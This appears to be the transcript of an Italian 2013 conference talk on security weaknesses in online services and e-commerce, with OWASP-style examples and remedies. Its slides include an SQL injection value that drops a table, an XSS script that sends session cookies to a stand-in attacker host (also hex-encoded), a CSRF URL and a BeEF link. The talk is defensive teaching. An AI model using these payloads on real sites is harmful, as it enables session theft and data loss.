Gli aspe) fondamentali della sicurezza informa4ca per servizi eroga4 online. Udine, 30 novembre 2013 alessandro arciero

Transcript

1 Gli aspe) fondamentali della sicurezza informa4ca per servizi eroga4 online Udine, 30 novembre 2013 alessandro arciero 1

2 Premessa L argomento tra/ato è vas2ssimo e per essere affrontato nella sua interezza richiederebbe dei tempi incompa2bili con quelli messi a disposizione dall evento. Pertanto sarà presentata una carrellata delle maggiori cri2cità riscontrate personalmente nell di security assessment rispe/o ad archite/urali e implementa2vi dell infrastru/ura con par2colare approfondimento sulla parte socware di frontend dei servizi. 2

3 Premessa Gli argomen2 tra/a2 valgono ovviamente in qualsiasi contesto ma diventano maggiormente cri2ci in scenari dove l azienda offre servizi online (principalmente e- commerce) per i seguen2 mo2vi: 1) l azienda espone più o meno dire/amente i propri da2 finalizza2 al compimento del business o del servizio 2) Acquisisce maggiore visibilità e diventa un target appe2bile 3) Si dota di una stru/ura di supporto e/o customer service che essendo, per sua natura, un di relazioni umane, rappresenta un fa/ore di rischio molto cri2co. 3

4 Sicurezza. Anche il conce/o di sicurezza è molto esteso in questo contesto si intendono problema2che rela2ve a: Perdita del dato Furto del dato Alterazione del dato Mancata disponibilità del dato. Il conce/o di dato è volutamente generico. Per intenderci con un esempio, un defacement di un sito web è un alterazione. L impossibilità di accedere ai da2 a causa di latenze prolungate introdo/e da problema2che di networking o socware, per esempio, è una indisponibilità del dato. 4

5 Sicurezza. Conseguenze dire/e: Perdite economiche più o meno direje e proporzionate all en4tà del danno Conseguenze in ambito penale (es: Il D.Lgs 196/2003) Perdita di reputazione 5

6 Base da2: cri2cità più frequen2 1. Accesso dire/o al database aziendale da parte del socware che eroga il servizio. Eventuali problema2che di qualsiasi natura si ripercuoto sulla base da2 fondamentale. 2. Aggiornamento sincrono della base da2 tra il database posto online e quello interno aziendale. Stesse problema2che del punto precedente anche se generalmente mi2gate. 3. Esposizione di informazioni oltre le reali necessità. Esponendo, spesso per comodità o pigrizia, intere tabelle contenen2 anche da2 non stre/amente necessari. 4. Mancanza di meccanismi transazionali che rende la base da2 par2colarmente vulnerabile ad a/acchi DoS che possono causare la perdita di consistenza del DB.. (es: myisam storage engine in mysql) 5. Informazioni più cri2che (es: password) non cifrate o cifrate senza salt adegua2 (facilmente aggredibili perciò con tecniche brute force, per esempio mediante l uso di rainbow table) 6

7 Base da2: cri2cità più frequen2 6. Password di accesso deboli 7. Eccesso di privilegi nel concedere autorizzazioni agli uten2 che accedono alla base da2 8. Accessi trusted incondiziona2 ad utenze locali Più nel dejaglio L integrità dei da2 è garan2ta solo dal socware di ges2one e non da meccanismi interni del DB (integrità referenziale ) Errori di design e/o archite/ura della stru/ura da2 associa2 ad errori nelle query di interrogazioni. 7

8 Base da2: cri2cità più frequen2 10. Conservazione di da4 senza ojemperare alle norme di legge e/o raccomandazioni. (PCI- DSS, Il D.Lgs 196/2003 ) 11. MANCANZA DI PIANI DI BACKUP E DISASTER RECOVERY SERI! 8

9 Networking: cri2cità più frequen2 Mancato o insufficiente isolamento tra le risorse che forniscono i servizi e il resto della stru/ura (stesso dominio di broadcast, traffic filtering insufficiente o assente). Mancata solidità dei collegamen2 tra le componen2 che cos2tuiscono il servizio, sopra/u/o tra: Tra istanze di database distribui2 che scambiano da2 tra developer/sys admin e la stru/ura (connessioni non cifrate, port forwarding non sele)vi ) In presenza di prote/e (VPN) spesso vengono permessi meccanismi di split tunneling 9

10 Networking: cri2cità più frequen2 Un aspe/o rilevante spesso so/ovalutato è la mancata configurazione degli appara2 di networking per garan2re (riservare) una banda minima tra le en2tà di controllo e ges2one del servizio e il servizio stesso. E frequente, durante a/acchi DoS miran2 sopra/u/o a impedire la fruizione del servizio tramite flood del canale di comunicazione, che un intera stru/ura rimanga isolata per ore senza poter intervenire e conoscere l in a/o! 10

11 Audi2ng, logging. Sebbene l argomento sia vasto e richieda ben altro approfondimento è necessario riportare come molte delle problema2che nascano da una mancato controllo dell ad ogni livello delle componen2 che erogano il servizio. Spesso manca anche la più basilare raccolta (!!!!) e analisi dei log. Senza addentrarsi a fondo, non è ammissibile che non vengano considera2 ai fini della sicurezza gli even2 più rilevan2 come ripetu2 e frequen2 tenta2vi falli2 di: 1. instaurare una VPN 2. accedere ad un area prote/a del sito 3. effe/uare transazioni di danaro 4. 11

12 di CRM e supporto: cri2cità più frequen2 L interazione tra il personale impiegato e il pubblico fruitore del servizio, in generale rappresenta probabilmente la variabile più difficile da controllare dal punto di vista della sicurezza. fondamentali da seguire e realizzare: Training rigoroso e approfondito di tu/o il personale circa i comportamen2 nella relazione con il cliente e nelle informazioni che possono essere condivise a/raverso i canali messi a disposizione ( , chat ) e sulle tecniche più diffuse di phishing. Spesso il personale tende a riconoscere una certa confidenza all interlocutore abile nell approccio e concedere più del dovuto. 12

13 di CRM e supporto: cri2cità più frequen2 Un sistema robusto di tracking e di iden2ficazione rigorosa dei flussi alla base dei offerta. L ambiguità nell iden2ficare e definire o step del flow del business facilita gli errori degli operatori. Sistemi robus2 E VELOCI per l iden2ficazione del cliente. (per esempio l accesso ad una chat di supporto deve essere auten2cata). Addestramento circa l u2lizzo degli strumen2 fondamentali e sui comportamen2 da tenere: u2lizzo corre/o del browser, del client di posta. 13

14 ERRORI DELLE CONFIGURAZIONI dei socware server / client Un problema rilevante è quello della configurazione degli applica2vi server e client. Mol2 delle vulnerabilità a cui è esposto il servizio sono effe/o dire/o di errori di configurazione, per esempio del web server. Talvolta errori del socware che implementa le interfacce o la logica sono sfru/abili grazie ad errori determina2 dall sistemis2ca. Nell analisi più approfondita che segue si evidenzieranno alcuni casi tra i più diffusi. 14

15 ERRORI DELLE CONFIGURAZIONI dei socware server / client Un altro aspe/o importante è quello dell di SEO (Search Engine Op2miza2on). Talvolta l di del sito impone delle configurazioni complesse che possono nascondere degli errori che portano a vulnerabilità. L uso del modulo mod_rewrite di apache per la riscri/ura degli URL dopo cambiamen2 più o meno radicali della stru/ura del sito (allo scopo di mantenere ranking al2 nelle indicizzazioni di google per esempio) possono introdurre delle vulnerabilità molto pericolose. 15

16 CRITICITA : IL FRONTEND WEB Le maggiori problema2che so/o l aspe/o della sicurezza arrivano da errori socware provenien2 dal versante del frontend web. In par2colare, la mancata sani2zzazione e validazione dei da2 di INPUT, rappresentano in assoluto le maggiori minacce a tu/e le online. A tal proposito saranno riportate le TOP 10 vulnerabili2es OWASP (Open Web Applica2on Security Project). 16

17 DEVELOPMENT: SQL injec2on E ancora oggi la principale tecnica di successo per carpire informazioni dai database dei servizi offer2. La tecnica consiste nell inie/are codice SQL nelle normali query di servizio. Il risultato può arrivare al completo controllo di tu/o il database. $numero_righe_per_pagina = $_GET[ nextpage ]; $sql_query= SELECT * FROM tbl_prodotti OFFSET. $numero_righe_per_pagina; La variabile nextpage non è ges4ta. Questo perme/e di appendere una qualsiasi query a quella di selezione. 17

18 DEVELOPMENT: SQL injec2on Per esempio alla variabile nextpage viene assegnato il seguente valore : 50; DROP table tbl_users; 50 sono il numero di righe per pagina da visualizzare ; chiude la query DROP TABLE users; è la query inie/ata il cui esito è prevedibile. Dopo l injec2on la query diventa: SELECT * FROM tbl_prodotti OFFSET 50; DROP TABLE tbl_users; 18

19 DEVELOPMENT: cookie e sessioni La quasi totalità delle aree riservate utilizza dei cookie per creare delle sessioni autenticate. Il cookie viene inviato al client settando fondamentalmente i seguenti parametri: domain: il dominio per il quale il cookie è valido. path: il path sul server che viene interessato dal cookie expiration: il tempo di validità e quindi di durata della sessione (generalmente fino alla chiusura del browser) flag: tra cui il più importante è HTTPONLY. Tale flag è molto importante poiché se settato non permette a codice javascript di leggere il valore del cookie mitigando il pericolo di molti attacchi. 19

20 DEVELOPMENT: cookie e sessioni Domain, path devono essere molto conservativi per circoscrivere al massimo l ambito di utilizzo e limitare i rischi, soprattutto su server non dedicati. Il flag HTTPONLY deve essere settato per limitare l efficacia alcuni attacchi classici molto diffusi. (es: furto di cookie di sessione attraverso tecniche che saranno illustrate in seguito) 20

21 DEVELOPMENT: XSS XSS (cross site scrip2ng) è una tecnica che perme/e di inserire codice html/javascript all interno di una pagina web e di poter eseguire tale codice sul client. L origine del problema è sempre la mancata sani2zzazione di un dato di INPUT. La vulnerabilità è localizzata sul server benchè il danno causato si ripercuota sul client. Questa vulnerabilità, a differenza dell SQL injec2on, per o/enere successo necessità della collaborazione dell utente che visita il sito. L a/accante induce la a cliccare su un link che porta al sito nascondendo però al suo interno il codice che verrà eseguito sul client. 21

22 DEVELOPMENT: XSS La funzionalità di ricerca dei contenu2 in un sito rappresenta il caso classico. Il risultato della ricerca è preceduto, nella visualizzazione nella pagina di risposta, della chiave di ricerca u2lizzata. Se la chiave di ricerca è del codice e non è sani2zzato, verrà eseguito sul browser. Si consideri, per esempio, di u2lizzare come chiave di ricerca a la seguente stringa: <script> var img = new Image(); img.src= "http://www.attaccante.com/show_cookie.php?cookie=" + document.cookie </script> Il client della tenta di caricare l immagine dal sito a/accante.com che riceve via GET la variabile cookie= con il valore del cookie, potenzialmente di una sessione auten2cata sul sito affe/o. (A/acco efficace se il flag HTTPONLY del cookie non è se/ato) 22

23 DEVELOPMENT: XSS Gli step dell a/acco: 1) L a/accante induce la a cliccare un url sul server vulnerabile passando la variabile di ricerca con del codice javascript. Es: h/p://www.sitovulnerabile.com?search=<script> var img = new Image(); img.src= "http://www.attaccante.com/show_cookie.php?cookie=" + document.cookie </script> L url può essere mascherato opportunamente codificato (es: hex). L url diventa: h/p://www.sitovulnerabile.com?search= %3C%73%63%72%69%70%74%3E %20%76%61%72%20%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%0B %69%6D%67%2E%73%72%63%3D%20%22%68%74%74%70%3A%2F%2F%77%77%77%2E %61%74%74%61%63%63%61%6E%74%65%2E%63%6F%6D%2F%73%68%6F%77%5F%63%6F%6F%6B %69%65%2E%70%68%70%3F%63%6F%6F%6B%69%65%3D%22%20%2B%20%64%6F%63%75%6D %65%6E%74%2E%63%6F%6F%6B%69%65%0A%3C%2F%73%63%72%69%70%74%3E%20%0A 23

24 DEVELOPMENT: XSS Gli step dell a/acco: 2) La cliccando sull URL effe/ua una chiamata al sito vulnerabile che può perme/e di effe/uare una richiesta a quello dell a/accante passando con document.cookie la cookie nella variabile cookie passata via GET, magari di una sessione auten2cata sul server vulnerabile). L a/accante, o/enuto il valore del cookie, accede al server vulnerabile con i privilegi di sessione della Questo 4po di ajacco è il più diffuso in assoluto e ha coinvolto storicamente quasi la totalità dei si4 di ecommerce o di servizi a pagamento (amazon, ebay, facebook ). Per esperienza personale 1 sito su 4 ne è afflijo. Spesso gli acquis4 o ricariche di denaro ad account terzi sono sta4 effejua4 materialmente (e inconsapevolmente) dall utente vi)ma. Se il valore di INPUT non validato viene inserito in un database l XSS diventa persistent e non serve nemmeno più passarlo alla vi)ma con tecniche di phishing. 24

25 DEVELOPMENT: XSS REMEDIATION/MITIGATION PLAN I browser moderni in mol2 casi, ma non in riconosco una buona quan2tà di ques2 tenta2vi di a/acco, ma rimangono ancora numerose possibilità di successo. E facile intuire che se la sessione rubata è di amministrazione (supporto, customer service...) il danno può essere fatale. La formazione del personale sul problema e le sue origini, la messa a punto degli strumen2 adegua2, aggiornamento dei browser alle versioni più recen2, se/aggi conserva2vi sulla sicurezza, installazione di plugin come l NETCRAFT (an2 XSS), SONO ASPETTI FONDAMENTALI DA NON TRASCURARE. 25

26 DEVELOPMENT: XST XST (cross site tracing) è una tecnica di XSS che sfru/a un errore di configurazione del web server, ovvero il metodo TRACE abilitato anche su server di produzione, per o/enere, per esempio i cookie di sessione, anche nei casi in cui quest ul2ma è configurata corre/amente (h/ponly flag se/ato) Il metodo TRACE è generalmente u2lizzato a fine di debugging. In pra2ca effe/ua un echo di ritorno al client tu/e le richieste effe/uate al server. Il problema nasce perché il server ritorna nell output anche i valori dei cookie che possono essere tramite l XSS all a/accante. 26

27 DEVELOPMENT: XST Step dell a/acco: 1) l a/accante forgia una pagina web u2lizzando una chiamata XMLH/pRequest() con il metodo TRACE anziché il tradizionale GET. 2) L a/accante induce un visitatore a visitare la pagina web cosi forgiata. 3) La pagina forgiata dell a/accante recupera i valori dei cookie (sessione) dall output del server con il TRACE abilitato e lo invia all a/accante. L a/acco funziona perché anche se il cookie ha il flag HTTPONLY se/ato, il codice javascript recupera il dato dall output del server con il metodo TRACE abilitato. MITIGATION/REMEDIATION PLAN Disabilitare il metodo TRACE! 27

28 DEVELOPMENT: CSRF Cross- Site Request Forgery (CSRF), CWE 3252, è una tecnica che sfru/a il XSS (e non solo) per far eseguire delle operazioni sul server ad una che ha una sessione su un server di interesse dell a/accante. E una tecnica molto insidiosa ed u2lizzata in ogni ambito, compreso social network, chat etc.. L a/accante ricava l url per compiere una determinata operazione di suo interesse (acquistare un prodo/o, effe/uare trasferimento di denaro) e induce una potenziale che ha i privilegi per compiere l operazione, a visitare la pagina indicata dall URL. 28

29 DEVELOPMENT: CSRF Si consideri a 2tolo di esempio il seguente URL: h/p://www.ecommerce.com/trans.php?username=ajacker&ac4on=add&value=100 Che ricarica l utente a/acker di 100. A/acker invia il link alla che avendo la sessione effe/ua l operazione con successo, ricaricandolo. MITIGATION/REMEDIATION PLAN Questo 2po di a/acco può essere evitato inserendo un token che viene con2nuamente scambiato tra server e client. Una chiamata GET o POST che non por2 con se il token non ha successo. Perciò azioni invocate da form o url forgia2 ad hoc vengono ignorate. 29

30 DEVELOPMENT: Unrestricted Upload of File with Dangerous Type Benchè questa vulnerabilità (CWE- 434) sia meno frequente è forse la peggiore. La possibilità di fare un upload di documen2 in una directory sfogliabile (dentro la documentroot del webserver) senza verificare almeno il filetype è una delle situazioni peggiori. L a/accante effe/ua un upload di file eseguibili o script e li esegue. Le conseguenze sono immaginabili. MITIGATION/REMEDETION PLAN Spostare le directory di upload all esterno della documentroot, verificare il filetype (es: png, jpg, pdf ) sono operazioni necessarie. 30

31 DEVELOPMENT: Exposed Dangerous Method or Func2on (CWE- 749). Questa vulnerabilità è figlia della superficialità e della trascuratezza. E abbastanza diffusa sopra/u/o da quando è frequente l uso di Ajax (Asynchronous JavaScript and XML). Accade spesso che script invoca2 solo in chiamate asincrone (ma non solo, mi riferisco al caso più frequente) dal codice vero e proprio che disegna le pagine, non siano opportunamente e quindi sfogliabili senza privilegi da chiunque. Riporto uno script PHP tra/o da un caso reale: useradd.php?user='+user +'&name=' + name + '&surname=' + surname +'; Lo script esterno, incluso da una pagina corre/amente prote/a, era disponibile liberamente, senza alcuna auten2cazione. 31

32 DEVELOPMENT: Informa2on Exposure Through Debugger Informa2ons (CWE- 215). La modalità di debug in produzione può rappresentare una minaccia serissima. Riportare gli errori in un server di produzione può comportare l esposizione di informazioni riguardan2: Percorsi sul file system e stru/ura dello stesso Logica del socware, errori del codice, mancate validazioni e controlli Tipo e versione di socware u2lizzato Stru/ura del database e delle query di interrogazione. 32

33 DEVELOPMENT: Client- Side Enforcement of Server- Side Security (CWE- 602). Spesso l input è validato lato client da codice javascript. Per esempio la forma/azione di date, piu/osto che di indirizzi etc nelle form è un valido ausilio per lo user che le completa MA NON PUO SOSTITUIRE LA VALIDAZIONE LATO SERVER. E un errore comune e devastante. Le stringhe di input passate dall a/accante che rimuove il codice client side sono inserite generalmente as is in un database. Le conseguenze sono immaginabili. Permanet XSS, SQL injec2on. 33

34 DEVELOPMENT: Exposure of Backup File to an Unauthorized Control Sphere (CWE- 530). Un backup periodico (per esempio il dump di un database) viene schedulato e salvato in una directory esposta al browsing. Con tool come DirBuster (h/p://www.owasp.org) è possibile scovare il percorso, il nome e o/enere cosi i da2 di tu/o il database. 34

35 CONSIDERAZIONI FINALI La stragrande maggioranza delle problema2che riscontrate ricade in in quelle presentate. Ecco le 10 OWASP per l anno 2013: 35

36 CONSIDERAZIONI FINALI Una problema2ca trasversale a gli affronta2 è quella dell di SOCIAL ENGINEERING che spesso è l elemento vincente di chi conduce qualsiasi a/acco. Le phishing campaign a/raverso mail o social network possono essere condo/e e automa2zzate su qualsiasi scala a/raverso socware e spesso sono le tecniche che portano i risulta2 migliori poiché manca ancora una cultura e una adeguata preparazione ad approcciare un mondo di servizi offer2 online. Ho personalmente constatato come sia semplice ingannare o indurre in errore chiunque operi nel se/ore a prescindere dalla cultura personale o dall importanza del ruolo svolto. 36

37 CONSIDERAZIONI FINALI Riporto sempre l esempio dei vari sistemi di chat online dire/amente nel browser che si stanno sempre più diffondendo e che vengono u2lizza2 in mol2ssimi contes2, dal supporto prevendita a quello post vendita. IN TUTTI i casi durante l di social engineering come penetra2on tester, sono riuscito ad indurre l operatore a cliccare su un link e a prendere possesso del browser e in alcuni casi di o/enere una shell sul computer dell operatore. 37

38 CONSIDERAZIONI FINALI Per concre2zzare con un esempio quanto riportato, porto ad esempio BEEF (Browser Exploita2on Framework rilasciato so/o licenza GPL h/p://beefproject.com). E sufficiente cliccare su un link apparentemente regolare (nome a parte J ) come il seguente, su cui è installata la parte server di Beef: h/p://a/acker_beef_server/support/index.html per o/enere il controllo del browser della che diventa l inconsapevole ve/ore per l a/acco al server dei servizi. Il server è potenzialmente compromesso. 38

39 CONSIDERAZIONI FINALI La console di controllo di beef Open Source Day, 30 novembre

40 OPENSOURCE TOOLS Gli strumen2 per effe/uare dei security assessment sono mol2 anche se non di immediata fruizione. In mol2 casi un uso acri2co o poco consapevole degli stessi porta a non riconoscere pericoli gravi o a trovarne ovunque (falsi posi2vi). Tale lavoro dovrebbe essere fa/o da un professionista almeno con periodicità annuale o dopo importan2 cambiamen2 nella stru/ura che eroga il servizio, tu/avia delle verifiche periodiche effe/uate da personale con un minimo di preparazione possono almeno riconoscere e scovare le minacce più gravi. Esistono versioni commerciali di tools che offrono interfacce semplificate e automa2smi molto comodi ma in ambito free o opensource si trovano degli strumen2 fondamentali e molto poten2. 40

41 OPENSOURCE TOOLS E evidente che il corre/o funzionamento di tu/o l apparato erogante il servizio dipende da i fa/ori in gioco: design, proge/azione, implementazione. Tu/o ciò vale per la parte sistemis2ca di internetworking e di sviluppo del codice. Tu/avia l u2lizzo di strumen2 di diagnos2ca rappresentano una opportunità di valutare il lavoro eseguito e andrebbero sempre prima di entrare in produzione con l Un altro aspe/o fondamentale è la maggiore consapevolezza e conoscenza che ogni player coinvolto nell acquisisce a/raverso questo 2po di 41

42 OPENSOURCE TOOLS Oltre ai tools già menziona2, segnalo: hjps://www.owasp.org/index.php/main_page Il sito fondamentale. Vi si trovano cen2naia di tools, alcuni di assoluto valore. Distribuzione Backtrack (h/p://www.backtrack- linux.org)include migliaia di tool mol2ssimi dei quali rilascia2 so/o licenza BSD o GPL. W3af Web Applica2on A/ack and Audit Framework (h/p://w3af.org) rilasciata so/o licenza GPLv2. E uno strumento insos2tuibile, presenta una interfaccia grafica so/o varie pia/aforme. Effe/ua dei test per mol2ssime vulnerabilità. Aggiornato tramite plugin e uno degli strumen2 principe dei pentester. 42

43 OPENSOURCE TOOLS Principali tools consiglia2 per l analisi: Sqlmap (h/p://h/p://sqlmap.org). Riferimento per scovare le vulnerabilità di SQL injec2on. (GPLv2) Xeno4x (h/ps://www.owasp.org/index.php/owasp_xeno2x_xss_exploit_framework) Strumento fondamentale per scovare vulnerabilità di cross site scrip2ng 43

44 CONCLUSIONI dei servizi online e creare una stru/ura adeguata per ges2rli è un compito complesso e difficile, sopra/u/o so/o il profilo della sicurezza. A prescindere dalle scelte tecnologiche (argomento importante ma al di fuori dello scopo dell intervento) effe/uate, è necessario una pianificazione me2colosa di ogni fase. Spesso invece, sopra/u/o nel caso dell e- commerce, l approccio virtuale al business reale viene visto come un alterna2va meno impegna2va dello store fisico. Se è probabilmente vero so/o alcuni non lo è so/o quello dell inves2mento in termini di competenze, pianificazione. La sicurezza è un aspe/o spesso trascurato e la possibilità di subire danni è percepito come un evento remoto e improbabile. 44

45 CONCLUSIONI La consapevolezza si acquisisce purtroppo solo a danno avvenuto. A volte basta una piccola dimen2canza, un errore apparentemente insignificante per esporre una vulnerabilità che non inficia dire/amente la funzionalità e la regolarità del servizio ma che è sufficiente, per fare un esempio, a far finire il sito nella black list di google fermando di fa/o qualsiasi anche per giorni. 45

46 DOMANDE? GRAZIE 46